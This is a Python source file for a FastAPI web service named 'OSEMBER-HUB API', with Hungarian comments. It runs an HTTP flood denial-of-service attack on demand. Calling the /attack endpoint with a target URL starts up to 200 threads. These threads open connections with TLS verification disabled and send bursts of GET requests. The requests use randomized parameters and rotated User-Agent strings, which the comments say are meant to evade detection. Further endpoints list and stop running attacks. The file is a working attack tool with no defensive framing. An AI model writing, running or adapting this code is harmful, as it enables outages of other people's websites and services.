File size: 3,454 Bytes
65a88b4 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | import threading
import socket
import random
import time
import ssl
import warnings
from fastapi import FastAPI, Query
from urllib.parse import urlparse
# Figyelmeztetések kikapcsolása (SSL tanúsítványok miatt)
warnings.filterwarnings('ignore')
app = FastAPI(title="OSEMBER-HUB API")
# Tároljuk az aktív támadásokat, hogy leállíthatók legyenek
active_attacks = {}
def http_strike_engine(target, duration, attack_id):
parsed = urlparse(target if target.startswith("http") else f"http://{target}")
host = parsed.netloc
path = parsed.path or "/"
port = 443 if parsed.scheme == "https" else 80
until = time.time() + duration
# User-Agent lista a detektálás elkerülésére
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15"
]
while time.time() < until and attack_id in active_attacks:
try:
# Socket létrehozása
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if port == 443:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
s = context.wrap_socket(s, server_hostname=host)
s.settimeout(4)
s.connect((host, port))
# Flood ciklus egy kapcsolaton belül
for _ in range(50):
if attack_id not in active_attacks: break
random_param = random.randint(1000, 99999)
req = f"GET {path}?{random_param} HTTP/1.1\r\n" \
f"Host: {host}\r\n" \
f"User-Agent: {random.choice(user_agents)}\r\n" \
f"Accept: */*\r\n" \
f"Connection: keep-alive\r\n\r\n"
s.send(req.encode())
time.sleep(0.01) # Kis pihentetés a stabilitásért
s.close()
except:
continue
@app.get("/")
def home():
return {
"status": "READY",
"active_attacks": list(active_attacks.keys()),
"usage": "/attack?target=URL&duration=60&threads=50"
}
@app.get("/attack")
def start_attack(
target: str = Query(..., description="Célpont URL vagy IP"),
duration: int = Query(60, description="Időtartam másodpercben"),
threads: int = Query(50, description="Szálak száma (max 200)")
):
attack_id = str(random.randint(1000, 9999))
active_attacks[attack_id] = True
# Limitáljuk a szálakat a stabilitás érdekében
thread_limit = min(threads, 200)
for _ in range(thread_limit):
t = threading.Thread(target=http_strike_engine, args=(target, duration, attack_id), daemon=True)
t.start()
return {
"status": "STARTED",
"attack_id": attack_id,
"target": target,
"duration": f"{duration}s",
"threads": thread_limit
}
@app.get("/stop")
def stop_attack(attack_id: str = None):
if attack_id:
if attack_id in active_attacks:
del active_attacks[attack_id]
return {"message": f"Attack {attack_id} stopped."}
return {"error": "Attack ID not found."}
else:
active_attacks.clear()
return {"message": "All attacks stopped."} |